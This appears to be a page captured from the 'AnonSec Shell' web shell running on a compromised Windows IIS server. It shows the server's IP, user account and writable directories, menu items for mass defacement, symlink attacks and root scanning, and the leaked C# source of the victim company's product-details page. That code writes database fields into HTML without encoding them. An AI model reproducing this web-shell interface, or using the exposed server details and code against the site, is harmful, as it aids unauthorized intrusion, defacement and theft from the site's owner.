. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 87.98.249.37  /  Your IP : 216.73.216.208   [ Reverse IP ]
Web Server : Microsoft-IIS/10.0
System : Windows NT NS3076740 10.0 build 17763 (Windows Server 2019) AMD64
User : IWPD_292(growel19p) ( 0)
PHP Version : 8.3.12
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Inetpub/vhosts/growel.com/httpdocs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : C:/Inetpub/vhosts/growel.com/httpdocs//ProductDetails.aspx.cs
using GrowelBLL.Services;
using System;
using System.Collections.Generic;
using System.Data;
using System.Linq;
using System.Text;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;

namespace GrowelWeb
{
    public partial class ProductDetails : System.Web.UI.Page
    {

        public string pname = "";
        public string product_displayname = "";
        public string cover = "";
    
        public string pg_title = "";
        public string pg_body = "";
        public string siteurl = "";

        protected void Page_Load(object sender, EventArgs e)
        {

            try
            {

                siteurl = clsComman.value("SiteUrl");


                pname = Request.QueryString["product"].ToString();
                BindData();
                //HtmlAnchor c = (HtmlAnchor)this.Master.FindControl("lnkbusiness");
                //c.Attributes.Add("class", "active");
            }
            catch (Exception ex)
            {
                // throw ex;
            }
        }

        public void BindData()
        {
            AdminService adminService = new AdminService();

            DataSet pds = adminService.GetProductDetails(pname);
            //this.dtlstproductdetails.DataSource = pds.Tables[0].DefaultView;
            //this.dtlstproductdetails.DataBind();

            if (pds.Tables[0].Rows.Count == 0)
                return;

            this.Title = pds.Tables[0].Rows[0]["meta_title"].ToString();
            HtmlMeta keymeta = new HtmlMeta();
            keymeta.Name = "keywords";
            keymeta.Content = pds.Tables[0].Rows[0]["meta_keywords"].ToString();
            HtmlMeta descmeta = new HtmlMeta();
            descmeta.Name = "description";
            descmeta.Content = pds.Tables[0].Rows[0]["meta_description"].ToString();
            this.Master.FindControl("head").Controls.Add(keymeta);
            this.Master.FindControl("head").Controls.Add(descmeta);


           // DataSet ds = adminService.GetSubProducts(pname);
           // product_displayname = pds.Tables[0].Rows[0]["product_displayname"].ToString();
           // DataSet lnkds = adminService.GetProductTypeDetails(pds.Tables[0].Rows[0]["product_type"].ToString());

            //pg_title = Convert.ToString(lnkds.Tables[0].Rows[0]["product_displayname"]);

            //this.dtlstsublinks.DataSource = lnkds.Tables[0].DefaultView;
            //this.dtlstsublinks.DataBind();

            //DataSet mds = new DataSet();
            //mds = adminService.GetProductDetails(pds.Tables[0].Rows[0]["product"].ToString());

            DataRow drow = pds.Tables[0].Rows[0];

           // this.Products1.pname = pds.Tables[0].Rows[0]["product"].ToString();
           // cover = "<img src='../images/covers/" + lnkds.Tables[0].Rows[0]["business_unit"].ToString() + "1.jpg' class='img-fluid'/>";
           // cover = lnkds.Tables[0].Rows[0]["business_unit"].ToString() + "1.jpg";

            StringBuilder sb = new StringBuilder();

            string img = "";
            if (Convert.ToString(drow["ProductImage"]) != "")
                img = siteurl + "images/products/" + Convert.ToString(drow["ProductImage"]);
            else
                img = siteurl + "Includes/images/noimg.jpg";

            // Get Multiple Images 
            StringBuilder sbMultiImage = new StringBuilder();
            StringBuilder sbMultiImage1 = new StringBuilder();
            if (pds.Tables[2].Rows.Count > 0)
            {
                
                foreach (DataRow item in pds.Tables[2].Rows)
                {
                    string strmImage = siteurl + "images/products/" + Convert.ToString(item["ImgName"]);


                    sbMultiImage.Append("                  <div class='item'>");
                    sbMultiImage.Append("                    <div class='slick-slider__inner'>");
                    sbMultiImage.Append("                      <div class='product-preview'><img src=" + strmImage + " alt='' width='282' height='293'/>");
                    sbMultiImage.Append("                      </div>");
                    sbMultiImage.Append("                    </div>");
                    sbMultiImage.Append("                  </div>");


                    sbMultiImage1.Append("                  <div class='item'>");
                    sbMultiImage1.Append("                    <div class='slick-image'>");
                    sbMultiImage1.Append("                      <div class='product-preview'><img src=" + strmImage + " alt='' width='282' height='293'/>");
                    sbMultiImage1.Append("                      </div>");
                    sbMultiImage1.Append("                    </div>");
                    sbMultiImage1.Append("                  </div>");
                }
            }


            sb.Append("<section class='section section-md bg-white'>");
            sb.Append("        <div class='shell'>");
        // for img    sb.Append("          <div class='layout-horizontal layout-horizontal_1'>");
        // fro img   sb.Append("            <div class='layout-horizontal__main'> ");
            sb.Append("          <div class='layout-horizontal'>");
            sb.Append("            <div> ");

            sb.Append("              <article class='single-product'>");
            sb.Append("                <div class='single-product__header'>");
            sb.Append("                  <h1 class='single-product__title'>" + drow["product_displayname"].ToString() + "</h1>");
            //sb.Append("                  <p class='single-product__price'><sup>$</sup><span>137</span><sup>00</sup></p>");
            sb.Append("                </div>");
            sb.Append("                <div class='single-product__main'>");
            sb.Append("                  <div class='tabs-custom tabs-horizontal tabs-line'>");
            sb.Append("                    <ul class='nav nav-tabs'>");
            sb.Append("                      <li class='active'><a href='#tabs-product-1' data-toggle='tab'>Description</a></li>");
            //sb.Append("                      <li><a href='#tabs-product-2' data-toggle='tab'>Pack Size</a></li>");
            sb.Append("                    </ul>");
            sb.Append("                    <div class='tab-content'>");
            sb.Append("                      <div class='tab-pane fade in active' id='tabs-product-1'>");
            sb.Append("                        <p>" + drow["Product_Description"].ToString() + "</p>");
            sb.Append("                      </div>");
            //sb.Append("                      <div class='tab-pane fade' id='tabs-product-2'>");
            //sb.Append("                        <p>Pack Size Details</p>");
            //sb.Append("                      </div>");
            sb.Append("                    </div>");
            sb.Append("                  </div>");
            sb.Append("                  <div class='group group-buttons group-middle'><a class='button button-darker' data-target='#darkModalFormQuote' data-toggle='modal' href='#'>get a quote</a>");
            //sb.Append("                    <p>or</p><a class='button button-primary' href='#'>get price list</a>");
            sb.Append("                  </div>");
            sb.Append("                </div>");
            sb.Append("              </article>");
            sb.Append("            </div>");
           
            //sb.Append("            <div class='layout-horizontal__aside'>");
            //sb.Append("              <div class='slick-slider-vertical slick-slider-vertical_sm'>");
            //sb.Append("                <div class='slick-slider carousel-child' id='child-carousel' data-for='#parent-carousel' data-arrows='true' data-loop='true' data-dots='false' data-swipe='true' data-items='3' data-xs-items='3' data-sm-items='3' data-md-items='3' data-lg-items='3' data-slide-to-scroll='1' data-vertical='false' data-xs-vertical='false' data-sm-vertical='true' data-md-vertical='true' data-lg-vertical='true' data-center-mode='true'>");
            //sb.Append("                  <div class='item'>");
            //sb.Append("                    <div class='slick-slider__inner'>");
            //sb.Append("                      <div class='product-preview'><img src='" + img + "' alt='' width='226' height='284'/>");
            //sb.Append("                      </div>");
            //sb.Append("                    </div>");
            //sb.Append("                  </div>");
            //sb.Append(sbMultiImage.ToString());
            //sb.Append("                </div>");

            //sb.Append("                <div class='slick-slider carousel-parent' id='parent-carousel' data-loop='true' data-dots='false' data-swipe='true' data-items='1' data-child='#child-carousel' data-for='#child-carousel'>");
            //sb.Append("                  <div class='item'>");
            //sb.Append("                    <div class='slick-image'>");
            //sb.Append("                      <div class='product-preview'><img src='" + img + "' alt='' width='226' height='284'/>");
            //sb.Append("                      </div>");
            //sb.Append("                    </div>");
            //sb.Append("                  </div>");
            //sb.Append(sbMultiImage1.ToString());
            //sb.Append("                </div>");
            //sb.Append("              </div>");
            //sb.Append("            </div>");
            
            
            sb.Append("          </div>");
            sb.Append("        </div>");
            sb.Append("      </section>");





            //int cnt = 1;
            //int divcnt = 1;

            //foreach (DataRow drow in ds.Tables[0].Rows)
            //{

            //    ////////////////////////

            //    sb.Append("<div class='tablink' ><a href='" + drow["subproduct"].ToString().ToLower() + "' id='lnktype' " +
            //        " title='" + drow["subproduct"].ToString().ToLower() + "' rel='" + divcnt + "'><h4>" + drow["subproduct_displayname"].ToString()+  "</h3></a>");
            //    sb.Append(" </div> ");

            //    DataSet tds = adminService.GetSubProductDetails(drow["subproduct"].ToString());

            //    pds = adminService.GetSubProductItems((drow["subproduct"].ToString()));

            //    sb.Append("<div style='padding-top:20px!important; '>" + tds.Tables[0].Rows[0]["subproduct_description"].ToString() + "</div>");

            //    foreach (DataRow drow1 in pds.Tables[0].Rows)
            //    {
            //        sb.Append("<div>");
            //        sb.Append("<h3>" + drow1["subproduct_item_displayname"].ToString() + "</h3>");
            //        sb.Append(drow1["subproduct_item_description"].ToString());
            //        sb.Append(drow1["subproduct_item_specification"].ToString());
            //        sb.Append("</div>");
            //    }

            //    sb.Append("</div>");


            //////////////////////




            //sb.Append("<div class='tablink' ><a href='" + drow["product_type"].ToString().ToLower() + "' id='lnktype' " +
            //    " title='" + drow["product_type"].ToString().ToLower() + "' rel='" + divcnt + "'><h4>" + drow["product_type_displayname"].ToString()+  "</h3></a>");
            //sb.Append(" </div> ");

            //DataTable pds = GetProducts(drow["product_type"].ToString());
            //DataSet tds = adminService.GetProductTypeDetails(drow["product_type"].ToString());

            //if (divcnt % 2 != 0)
            //{
            //    sb.Append("     <section class='section section-md bg-gray-4'>");
            //    sb.Append("          <div class='shell'>");
            //    sb.Append("          <div class='range range-70 range-sm-center range-lg-justify'>");
            //    sb.Append("            <div class='cell-sm-10 cell-md-9 cell-lg-5'>");
            //    sb.Append("              <h4>" + drow["product_type_displayname"].ToString() + "</h4>");
            //    sb.Append("              <p>" + typeds.Tables[0].Rows[0]["product_type_description"].ToString() + "</p>");
            //    sb.Append("              <a class='button button-primary' href='../Business/" + bunit + "/" + drow["product_type"].ToString().ToLower() + "'>More Details</a>");
            //    //sb.Append("              <p>We provide the highest-quality end products to our customers, while striving to make them the leaders in their respective industries.</p>");
            //    sb.Append("            </div>");
            //    sb.Append("            <div class='cell-sm-10 cell-md-3'>");
            //    sb.Append("                <img src='../Includes/images/noimg.jpg' alt='' width='356' height='200'/>");
            //    sb.Append("            </div>");
            //    sb.Append("          </div>");
            //    sb.Append("        </div>");
            //    sb.Append("     </section>");
            //    sb.Append("     <br>");
            //}
            //else
            //{
            //    sb.Append("     <section class='section section-md bg-gray-4'>");
            //    sb.Append("          <div class='shell'>");
            //    sb.Append("          <div class='range range-70 range-sm-center range-lg-justify'>");
            //    sb.Append("            <div class='cell-sm-10 cell-md-3'>");
            //    sb.Append("                <img src='../Includes/images/noimg.jpg' alt='' width='356' height='200'/>");
            //    sb.Append("            </div>");
            //    sb.Append("            <div class='cell-sm-10 cell-md-9 cell-lg-5'>");
            //    sb.Append("              <h4>" + drow["product_type_displayname"].ToString() + "</h4>");
            //    sb.Append("              <p>" + typeds.Tables[0].Rows[0]["product_type_description"].ToString() + "</p>");
            //    sb.Append("              <a class='button button-primary' href='../Business/" + bunit + "/" + drow["product_type"].ToString().ToLower() + "'>More Details</a>");
            //    //sb.Append("              <p>We provide the highest-quality end products to our customers, while striving to make them the leaders in their respective industries.</p>");
            //    sb.Append("            </div>");
            //    sb.Append("          </div>");
            //    sb.Append("        </div>");
            //    sb.Append("     </section>");
            //    sb.Append("     <br>");
            //}

            //sb.Append("<div>" + tds.Tables[0].Rows[0]["product_type_description"].ToString() + "</div>");

            //foreach (DataRow drow1 in pds.Rows)
            //{
            //    sb.Append("<div>");
            //    sb.Append("<a href='../product/" + drow1["product"].ToString() + "' class='prodlink'><b>" + drow1["product_displayname"].ToString() + "</b></a></div>");
            //    sb.Append("</div>");

            //    //if (cnt == 1)
            //    //{
            //    //    sb.Append("<div id='startup' class='hidden'>");
            //    //    sb.Append("<div><p>" + tds.Tables[0].Rows[0]["product_type_description"].ToString() + "</p></div>");
            //    //    foreach (DataRow drow2 in pds.Rows)
            //    //    {
            //    //        sb.Append("<div>");
            //    //        sb.Append("<a class='prodlink' href='../product/" + drow2["product"].ToString() + " style='color:#666;'>" + drow2["product_displayname"].ToString() + "</a></div>");
            //    //        sb.Append("</div>");
            //    //    }

            //    //}

            //    //if (cnt % 3 == 0)
            //    //{
            //    //    sb.Append("<br clear='all' />");
            //    //    sb.Append("<div id='" + divcnt + "' class='tabcontent'>");
            //    //    sb.Append("<div class='tabclose'>");
            //    //    sb.Append("<a href='#' style='margin-bottom:20px;'>Close X</a>");
            //    //    sb.Append("</div>");
            //    //    sb.Append("<div class='cont'>");
            //    //    sb.Append("</div>");
            //    //    sb.Append("</div>");
            //    //    divcnt++;
            //    //}
            //    cnt++;
            //}

            //sb.Append("<br clear='all' />");
            //sb.Append(" <div id='" + divcnt + "' class='tabcontent'>");
            //sb.Append("     <div class='tabclose'>");
            //sb.Append("<a href='#'>Close X</a>");
            //sb.Append("     <div class='cont'>");
            //sb.Append(" </div>");
            //sb.Append("</div>");

            //    divcnt++;
            // }

            litpro.Text = sb.ToString();


        }
    }
}

Anon7 - 2022
AnonSec Team